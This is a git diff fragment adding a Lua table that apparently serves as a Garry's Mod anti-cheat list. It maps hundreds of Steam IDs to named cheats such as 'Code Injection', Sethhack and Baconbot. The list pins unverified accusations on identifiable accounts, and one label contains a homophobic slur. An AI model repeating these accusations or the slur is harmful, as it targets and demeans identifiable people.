true}, + ["STEAM_0:0:32982037"] = {Name = "SP: CubHack", Skid = true}, + ["STEAM_0:1:1439351"] = {Name = "SP: herpes", Skid = true}, + ["STEAM_0:0:16350495"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:27874209"] = {Name = "SP: cubhack", Skid = true}, + ["STEAM_0:1:26057694"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:26177708"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:21155536"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:36006702"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:43940964"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:11933255"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:3176600"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:1:21523239"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:30622959"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:30285776"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:15979882"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:18460921"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:12040384"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:17505658"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:21479539"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:30537140"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:38812224"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22582910"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:37991340"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19159317"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:10713231"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:27332827"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:36780574"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:34202299"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:17275724"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19803935"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:18953009"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:26895317"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:19735449"] = {Name = "SP: Litebotgarry", Skid = true}, + ["STEAM_0:1:25272720"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19921990"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:41274325"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:49076431"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:41087968"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:40131982"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:38362287"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:20497785"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:15607614"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22010562"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:40407825"] = {Name = "SP: hh", Skid = true}, + ["STEAM_0:1:19831541"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:20811691"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:16267538"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:32234981"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:33749817"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:14696634"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:22995416"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:12808689"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:11799654"] = {Name = "SP: SethHack(edit)", Skid = true}, + ["STEAM_0:0:38808302"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:18969654"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:16499611"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:18287027"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:20409589"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:12466191"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:33460267"] = {Name = "SP: Isis", Skid = true}, + ["STEAM_0:0:45159127"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:17600393"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:19096785"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:37730160"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:22284069"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:18898938"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:23552236"] = {Name = "SP: (cracked) sethhack v2", Skid = true}, + ["STEAM_0:0:34483728"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:33177474"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:18167133"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:18222074"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:26487751"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:26165399"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:18050538"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:27042639"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:10131725"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:32835647"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:16319183"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:38403849"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15292404"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:5550966"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:30710525"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:6183216"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:34176202"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:15500261"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:22482699"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:31925018"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:29853070"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:16330620"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:21553359"] = {Name = "SP: elebot", Skid = true}, + ["STEAM_0:0:20327715"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:4649132"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:16018224"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:8591724"] = {Name = "SP: Coma", Skid = true}, + ["STEAM_0:1:40265724"] = {Name = "SP: Code Injection (Overwritten sqllite)", Skid = true}, + ["STEAM_0:1:25397734"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:41745347"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:36180396"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:25559717"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:38994052"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:26269678"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:27526575"] = {Name = "SP: Odius", Skid = true}, + ["STEAM_0:0:20854764"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:6076942"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:29248785"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:44810352"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17908541"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:10569351"] = {Name = "SP: Eradicate", Skid = true}, + ["STEAM_0:0:38604448"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17568188"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:25315900"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:29535476"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:29771895"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:24963345"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17508660"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:24794531"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:3749847"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:8345987"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:9011787"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:19531733"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:41611335"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:20703502"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:28462533"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:33488877"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:37543716"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:1:18227696"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:27014861"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:24983426"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:23674993"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:24859251"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:25636734"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:5100034"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:24346494"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19767060"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:18146611"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:29046889"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:21491851"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:15404351"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:13908513"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:13100739"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:17605909"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:19248793"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:19648713"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:42440544"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:22247737"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:30764583"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:15029381"] = {Name = "SP: Whip it good", Skid = true}, + ["STEAM_0:1:26604027"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:421861172"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:25812285"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:39690375"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:14530371"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:18697685"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:30626912"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:35849114"] = {Name = "SP: Eradicate", Skid = true}, + ["STEAM_0:1:30046997"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:42096326"] = {Name = "SP: Sorry if the world has been taken over by antilions.", Skid = true}, + ["STEAM_0:1:16421568"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:30754890"] = {Name = "SP: integra", Skid = true}, + ["STEAM_0:1:15928137"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:30682335"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:11680407"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:17042971"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:33831311"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:29437358"] = {Name = "SP: LHM", Skid = true}, + ["STEAM_0:0:19807101"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:17267267"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:1:17906432"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:25999084"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19353043"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:29640664"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:0:32070437"] = {Name = "SP: faggot (poki)", Skid = true}, + ["STEAM_0:0:19293437"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:16373250"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:12190592"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:3992689"] = {Name = "SP: LHM", Skid = true}, + ["STEAM_0:0:34092283"] = {Name = "SP: Gooberhack", Skid = true}, + ["STEAM_0:0:19321794"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:21373726"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:20564249"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:24988955"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:30569150"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:14563562"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:1567954"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:33752125"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:20406383"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:27791499"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:6669318"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:24309692"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:25915952"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:23946737"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:18361092"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:1198860"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:28903624"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:19338100"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:11769924"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:16485732"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:31831863"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:31767822"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:22914080"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:25369713"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:21918773"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:29114279"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:32971824"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19650313"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:22748305"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:13196020"] = {Name = "SP: Eradicate", Skid = true}, + ["STEAM_0:1:20280169"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:20479184"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:14100771"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:22770384"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:5325124"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:29163952"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:1:35738339"] = {Name = "SP: gbot,eradicate,gbot3", Skid = true}, + ["STEAM_0:1:13250571"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:17003802"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:17574951"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:7016175"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:27017512"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:25179712"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:17424205"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:15704483"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:44321488"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:47607534"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:15446164"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:20264839"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:18843517"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:16190578"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:12209165"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:18488836"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:25983023"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15320742"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:18307252"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:18617255"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:2381903"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:15712642"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:44098755"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19095943"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:41331055"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:29784969"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:20940543"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:18007424"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:25609791"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:1:10897283"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:7334549"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:35192837"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:15479136"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:4386443"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:0:28824915"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:31629013"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:11641057"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22038220"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:20102730"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:1426417"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:14352118"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:30594971"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:21605065"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:29886937"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:17790269"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:33917884"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:25879423"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:35143632"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:6059942"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:25484778"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:25900751"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22047853"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:32655084"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:30735853"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:38846072"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:5685772"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:10088463"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:43680205"] = {Name = "SP: gbot", Skid = true}, + ["STEAM_0:1:21846812"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17212947"] = {Name = "SP: lix", Skid = true}, + ["STEAM_0:1:21977353"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:6891944"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19345248"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:37936662"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:0:40406128"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:37220271"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:37436782"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:21583054"] = {Name = "SP: Injectshunt", Skid = true}, + ["STEAM_0:0:21044008"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:29690396"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:9750737"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:36131576"] = {Name = "SP: zbot", Skid = true}, + ["STEAM_0:0:24419439"] = {Name = "SP: isis", Skid = true}, + ["STEAM_0:0:40519716"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:11268198"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:25915577"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:42802404"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:29466967"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:25783134"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:21656159"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:8836134"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:33962112"] = {Name = "SP: TeaBag Hack", Skid = true}, + ["STEAM_0:1:15231011"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:49791119"] = {Name = "SP: hh", Skid = true}, + ["STEAM_0:0:40897007"] = {Name = "SP: isis", Skid = true}, + ["STEAM_0:1:31668419"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:20027677"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:40335356"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:20237730"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:18511864"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:18391725"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:41391523"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:29142644"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:33355913"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15922559"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17465034"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:31776035"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:19699112"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26052782"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:15644324"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:24320781"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:28545861"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:26118232"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:41307538"] = {Name = "SP: tame", Skid = true}, + ["STEAM_0:1:12018844"] = {Name = "SP: isis", Skid = true}, + ["STEAM_0:0:17784269"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:0:32269281"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:13254889"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:28282921"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:11236593"] = {Name = "SP: Eradicate", Skid = true}, + ["STEAM_0:0:12049687"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:42084743"] = {Name = "SP: Gooberhack", Skid = true}, + ["STEAM_0:0:22043362"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:21774502"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26509632"] = {Name = "SP: myg0t", Skid = true}, + ["STEAM_0:0:7350016"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:15978572"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:25624107"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:15789158"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:19354830"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:11431754"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:25130870"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:28372989"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19617520"] = {Name = "SP: elebot", Skid = true}, + ["STEAM_0:0:26024904"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:31947311"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:16212076"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:43442378"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:35205289"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:23403890"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:1:22772100"] = {Name = "SP: whtogg", Skid = true}, + ["STEAM_0:0:22534432"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:32148856"] = {Name = "SP: pb", Skid = true}, + ["STEAM_0:0:14891104"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:6018850"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:26637072"] = {Name = "SP: Herpaflerp", Skid = true}, + ["STEAM_0:0:21760599"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:43891704"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:30499160"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19348310"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:8284163"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:20743276"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:13709339"] = {Name = "SP: LHM", Skid = true}, + ["STEAM_0:1:36927998"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:30874880"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15801351"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:0:20043407"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:19748919"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:14239923"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:0:24199196"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:32819171"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:37950845"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:8856483"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:32979564"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:30286410"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:5305833"] = {Name = "SP: Pees", Skid = true}, + ["STEAM_0:1:28533213"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:16904191"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:12581805"] = {Name = "SP: Sethhack(leaked)", Skid = true}, + ["STEAM_0:1:22227066"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:44107553"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26549352"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:19732775"] = {Name = "SP: Ph0ne", Skid = true}, + ["STEAM_0:0:23645529"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:38186996"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:20546481"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:29253421"] = {Name = "SP: (null)", Skid = true}, + ["STEAM_0:0:14922341"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:25309195"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19797567"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:6381908"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:47444339"] = {Name = "SP: Code Injection", Skid = true}, + + \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/witnesses.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/witnesses.lua new file mode 100644 index 0000000..57b0b97 --- 